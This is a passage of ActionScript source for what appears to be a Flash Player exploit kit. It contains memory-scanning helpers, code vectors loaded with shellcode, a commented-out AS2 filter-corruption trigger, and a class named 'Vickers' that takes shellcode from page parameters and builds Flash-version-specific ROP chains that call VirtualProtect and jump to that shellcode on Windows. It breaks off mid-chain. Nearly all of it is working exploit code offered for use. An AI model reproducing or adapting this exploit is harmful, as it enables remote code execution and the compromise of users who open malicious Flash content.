return [_loc5_,_loc6_];
|
||||
}
|
||||
if(_loc8_ == 0xff016a04)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
|
||||
_loc6_ = _loc5_ - 6;
|
||||
while(true)
|
||||
{
|
||||
index_array_related_addr--;
|
||||
_loc9_ = vector[index_array_related_addr];
|
||||
if(_loc9_ == 0x850ff50)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483)
|
||||
{
|
||||
_loc7_ = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
_loc9_ = _loc9_ & 0xffffff00;
|
||||
if(_loc9_ == 0x50ff5000)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0xcc48308)
|
||||
{
|
||||
_loc7_ = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
_loc9_ = _loc9_ & 0xffff0000;
|
||||
if(_loc9_ == 0xff500000)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0xc4830850)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c)
|
||||
{
|
||||
_loc7_ = 2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
_loc9_ = _loc9_ & 0xff000000;
|
||||
if(_loc9_ == 0x50000000)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0x830850ff)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4)
|
||||
{
|
||||
_loc7_ = 3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_loc5_ = vector_address + 4 * index_array_related_addr + _loc7_;
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
|
||||
// vector: tweaked vector with 0x40000001 length
|
||||
// address: address of tweaked vector
|
||||
function getFileReferenceLocation(vector:*, address:*) : uint {
|
||||
var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28);
|
||||
var _loc4_:uint = 0;
|
||||
while(true)
|
||||
{
|
||||
_loc4_ = this.getMemoryAt(vector,address,flash_address + 8);
|
||||
if(_loc4_ == 0x2a0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if(_loc4_ < 0x2a0)
|
||||
{
|
||||
flash_address = flash_address + 36;
|
||||
}
|
||||
else
|
||||
{
|
||||
flash_address = flash_address - 36;
|
||||
}
|
||||
}
|
||||
|
||||
var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12);
|
||||
while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff)
|
||||
{
|
||||
if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff)
|
||||
{
|
||||
break;
|
||||
}
|
||||
file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8);
|
||||
}
|
||||
return file_ref_related_addr;
|
||||
}
|
||||
|
||||
function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint {
|
||||
var vector_length_read:uint = 0;
|
||||
var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c);
|
||||
while(true)
|
||||
{
|
||||
vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8);
|
||||
if(vector_length_read == 2032) // code vector length
|
||||
{
|
||||
break;
|
||||
}
|
||||
vector_code_info_addr = vector_code_info_addr + 0x24;
|
||||
}
|
||||
|
||||
var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc);
|
||||
while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark)
|
||||
{
|
||||
vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8);
|
||||
}
|
||||
return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark
|
||||
}
|
||||
|
||||
// Every vector in the array => 7f0 (header = 8; data => 0x7e8)
|
||||
function createCodeVectors(mark:uint, nops:uint) : * {
|
||||
var array:Array = new Array();
|
||||
var i:* = 0;
|
||||
while(i < 8)
|
||||
{
|
||||
array[i] = new Vector.<uint>(2032 / 4 - 8);
|
||||
array[i][0] = mark;
|
||||
array[i][1] = nops;
|
||||
i++;
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
function fillCodeVectors(param1:Array, param2:uint) : * {
|
||||
var i:uint = 0;
|
||||
var sh:uint=1;
|
||||
|
||||
while(i < param1.length)
|
||||
{
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
param1[i][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
i++;
|
||||
sh = 1;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// Trigger's ActionScript
|
||||
|
||||
/*
|
||||
|
||||
// Action script...
|
||||
|
||||
// [Action in Frame 1]
|
||||
var b = new flash.display.BitmapData(4, 7);
|
||||
var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4);
|
||||
var b2 = new flash.display.BitmapData(256, 512);
|
||||
var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4);
|
||||
var colors = [16777215, 16711680, 16776960, 52479];
|
||||
var alphas = [0, 1, 1, 1];
|
||||
var ratios = [0, 63, 126, 255];
|
||||
var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false);
|
||||
var cmf = new flash.filters.ColorMatrixFilter([]);
|
||||
MyString2.setCMF(cmf);
|
||||
MyString1.setGGF(ggf);
|
||||
flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302);
|
||||
zz = MyString1;
|
||||
flash.display.BitmapData = zz;
|
||||
arr = new Array();
|
||||
var i = 0;
|
||||
while (i < 8192)
|
||||
{
|
||||
arr[i] = new Number(0);
|
||||
++i;
|
||||
} // end while
|
||||
var i = 100;
|
||||
while (i < 8192)
|
||||
{
|
||||
arr[i] = "qwerty";
|
||||
i = i + 8;
|
||||
} // end while
|
||||
k = filt.mapBitmap;
|
||||
zz = MyString2;
|
||||
flash.display.BitmapData = zz;
|
||||
k = filt.mapBitmap;
|
||||
cmf_matrix = cmf.matrix;
|
||||
cmf_matrix[4] = 8192;
|
||||
cmf_matrix[15] = 12.080810;
|
||||
cmf.matrix = cmf_matrix;
|
||||
ggf_colors = ggf.colors;
|
||||
ggf_alphas = ggf.alphas;
|
||||
mem = new Array();
|
||||
var i = 0;
|
||||
while (i < ggf_alphas.length)
|
||||
{
|
||||
ggf_alphas[i] = ggf_alphas[i] * 255;
|
||||
++i;
|
||||
} // end while
|
||||
for (i = 0; i < ggf_colors.length; i++)
|
||||
{
|
||||
mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216;
|
||||
} // end of for
|
||||
ggf.colors = colors;
|
||||
ggf.alphas = alphas;
|
||||
ggf.ratios = ratios;
|
||||
var lc = new LocalConnection();
|
||||
lc.send("toAS3", "as2loaded", mem);
|
||||
zz = cmf;
|
||||
zz.resetMe("b", 1, 1, 1);
|
||||
|
||||
|
||||
class MyString1 extends String
|
||||
{
|
||||
static var ggf;
|
||||
function MyString(a,b)
|
||||
{
|
||||
super();
|
||||
}
|
||||
|
||||
static function setGGF(myggf)
|
||||
{
|
||||
ggf = myggf;
|
||||
}
|
||||
|
||||
static function getGGF()
|
||||
{
|
||||
return (MyString1.ggf);
|
||||
}
|
||||
}
|
||||
|
||||
class MyString2 extends String
|
||||
{
|
||||
static var cmf;
|
||||
function MyString2(a,b)
|
||||
{
|
||||
super();
|
||||
}
|
||||
|
||||
static function setCMF(mycmf)
|
||||
{
|
||||
cmf = mycmf;
|
||||
}
|
||||
|
||||
static function getCMF()
|
||||
{
|
||||
return (MyString2.cmf);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
*/
|
|
@ -0,0 +1,797 @@
|
|||
//Compile with mxmlc Vickers.as -o Vickers.swf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.system.Capabilities;
|
||||
import flash.utils.ByteArray;
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.system.ApplicationDomain;
|
||||
import avm2.intrinsics.memory.*;
|
||||
|
||||
public class Vickers extends Sprite
|
||||
{
|
||||
|
||||
public static var shellcode:String;
|
||||
|
||||
public function Vickers()
|
||||
{
|
||||
var params = root.loaderInfo.parameters;
|
||||
shellcode = params["id"];
|
||||
while (true)
|
||||
{
|
||||
if (exploit()) break;
|
||||
};
|
||||
}
|
||||
|
||||
public function makePayload(vftableAddr:*, scAddr:*):ByteArray
|
||||
{
|
||||
var payload = null;
|
||||
switch (Capabilities.os.toLowerCase())
|
||||
{
|
||||
case "windows xp":
|
||||
case "windows vista":
|
||||
case "windows server 2003 r2":
|
||||
case "windows server 2003":
|
||||
case "windows 7":
|
||||
case "windows 7 x64":
|
||||
case "windows server 2008 r2":
|
||||
case "windows server 2008":
|
||||
payload = makePayloadWinOther(vftableAddr, scAddr);
|
||||
break;
|
||||
case "windows 8":
|
||||
case "windows 8 x64":
|
||||
payload = makePayloadWin8(vftableAddr, scAddr);
|
||||
break;
|
||||
default:
|
||||
return (null);
|
||||
};
|
||||
return (payload);
|
||||
}
|
||||
|
||||
public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray
|
||||
{
|
||||
var flash_base:uint = vftableAddr;
|
||||
var flash_end:uint;
|
||||
var rop_payload:ByteArray = new ByteArray();
|
||||
rop_payload.position = 0;
|
||||
rop_payload.endian = "littleEndian";
|
||||
rop_payload.writeUnsignedInt((scAddr + 4));
|
||||
switch (Capabilities.version.toLowerCase())
|
||||
{
|
||||
case "win 11,3,372,94":
|
||||
flash_base = (flash_base - 9518744);
|
||||
flash_end = (flash_base + 0xB10000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
|
||||
rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(0x40);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,375,10":
|
||||
flash_base = (flash_base - 9589392);
|
||||
flash_end = (flash_base + 0xB15000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220004));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 142215));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||
rop_payload.writeUnsignedInt((flash_base + 40214));
|
||||
rop_payload.writeUnsignedInt((flash_base + 840082));
|
||||
rop_payload.writeUnsignedInt((flash_base + 202134));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,376,12":
|
||||
flash_base = (flash_base - 9593552);
|
||||
flash_end = (flash_base + 0xB16000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220740));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 142023));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8508448));
|
||||
rop_payload.writeUnsignedInt((flash_base + 39878));
|
||||
rop_payload.writeUnsignedInt((flash_base + 839538));
|
||||
rop_payload.writeUnsignedInt((flash_base + 201958));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,377,15":
|
||||
flash_base = (flash_base - 9589576);
|
||||
flash_end = (flash_base + 0xB15000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220388));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 141671));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||
rop_payload.writeUnsignedInt((flash_base + 39526));
|
||||
rop_payload.writeUnsignedInt((flash_base + 839698));
|
||||
rop_payload.writeUnsignedInt((flash_base + 201590));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,378,5":
|
||||
flash_base = (flash_base - 9589448);
|
||||
flash_end = (flash_base + 0xB15000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220388));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 141671));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||
rop_payload.writeUnsignedInt((flash_base + 39526));
|
||||
rop_payload.writeUnsignedInt((flash_base + 839698));
|
||||
rop_payload.writeUnsignedInt((flash_base + 201590));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,379,14":
|
||||
flash_base = (flash_base - 9597856);
|
||||
flash_end = (flash_base + 0xB17000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4575113));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 6617808));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 8149060));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8512544));
|
||||
rop_payload.writeUnsignedInt((flash_base + 4907562));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8147977));
|
||||
rop_payload.writeUnsignedInt((flash_base + 4046601));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,167":
|
||||
flash_base = (flash_base - 9821704);
|
||||
flash_end = (flash_base + 0xB85000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 8405950));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 27456));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8791088));
|
||||
rop_payload.writeUnsignedInt((flash_base + 73494));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1115794));
|
||||
rop_payload.writeUnsignedInt((flash_base + 242790));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,171":
|
||||
flash_base = (flash_base - 9821904);
|
||||
flash_end = (flash_base + 0xB85000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 8406414));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 27456));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8791088));
|
||||
rop_payload.writeUnsignedInt((flash_base + 73078));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1116754));
|
||||
rop_payload.writeUnsignedInt((flash_base + 242380));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,180":
|
||||
flash_base = (flash_base - 9816600);
|
||||
flash_end = (flash_base + 0xB84000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 8404478));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 29514));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8786992));
|
||||
rop_payload.writeUnsignedInt((flash_base + 69382));
|
||||
rop_payload.writeUnsignedInt((flash_base + 175197));
|
||||
rop_payload.writeUnsignedInt((flash_base + 238732));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,169":
|
||||
flash_base = (flash_base - 10441412);
|
||||
flash_end = (flash_base + 0xC45000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4640769));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 53338));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 9368732));
|
||||
rop_payload.writeUnsignedInt((flash_base + 95414));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1145506));
|
||||
rop_payload.writeUnsignedInt((flash_base + 2156132));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,202":
|
||||
flash_base = (flash_base - 0x9f5470);
|
||||
flash_end = (flash_base + 0xC45000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x46c361));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0xcc5a));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x10c5));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x8ef49c));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x17136));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x42f0));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x40664));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,224":
|
||||
flash_base = (flash_base - 10450228);
|
||||
flash_end = (flash_base + 0xC7A000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4646881));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 52090));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 9376924));
|
||||
rop_payload.writeUnsignedInt((flash_base + 93510));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1145378));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1909483));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
default:
|
||||
return (null);
|
||||
};
|
||||
return (rop_payload);
|
||||
}
|
||||
|
||||
public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray
|
||||
{
|
||||
var vftableAddr_copy:uint = vftableAddr;
|
||||
var _local_5:uint;
|
||||
var payload:ByteArray = new ByteArray();
|
||||
payload.position = 0;
|
||||
payload.endian = "littleEndian";
|
||||
payload.writeUnsignedInt((scAddr + 4));
|
||||
switch (Capabilities.version.toLowerCase())
|
||||
{
|
||||
case "win 11,0,1,152":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7628676);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1041567));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1937003));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4585805));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6697912));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2201532));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3985044));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2764856));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,1,102,55":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7633040);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4793772));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1939267));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2297101));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3976335));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3516263));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2768033));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,1,102,62":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7628912);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4794156));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1939856));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5126527));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2920469));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4454837));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2768325));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,1,102,63":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7628904);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4794076));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1939822));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5126435));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2353542));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3516455));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2768305));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,2,202,228":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7726032);
|
||||
_local_5 = (vftableAddr_copy + 0x93F000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4947482));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2022234));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6255948));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5021261));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6176368));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2847152));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,2,202,233":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7729872);
|
||||
_local_5 = (vftableAddr_copy + 0x93F000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4947594));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2022508));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4691374));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4164715));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5837496));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2847021));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,2,202,235":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7734032);
|
||||
_local_5 = (vftableAddr_copy + 0x940000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4947578));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2022729));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5249755));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6828928));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4261382));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4553024));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2847456));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,300,257":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8232016);
|
||||
_local_5 = (vftableAddr_copy + 0x9C3000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5328586));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2069614));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6497300));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7222148));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5022322));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4972967));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3071572));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,300,273":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8236216);
|
||||
_local_5 = (vftableAddr_copy + 0x9C4000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5331930));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2070667));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6500737));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7226252));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5142060));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5127634));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3074828));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,4,402,278":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8503560);
|
||||
_local_5 = (vftableAddr_copy + 0xA23000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5581452));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1202409));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6927402));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7480208));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5373116));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5713520));
|
||||
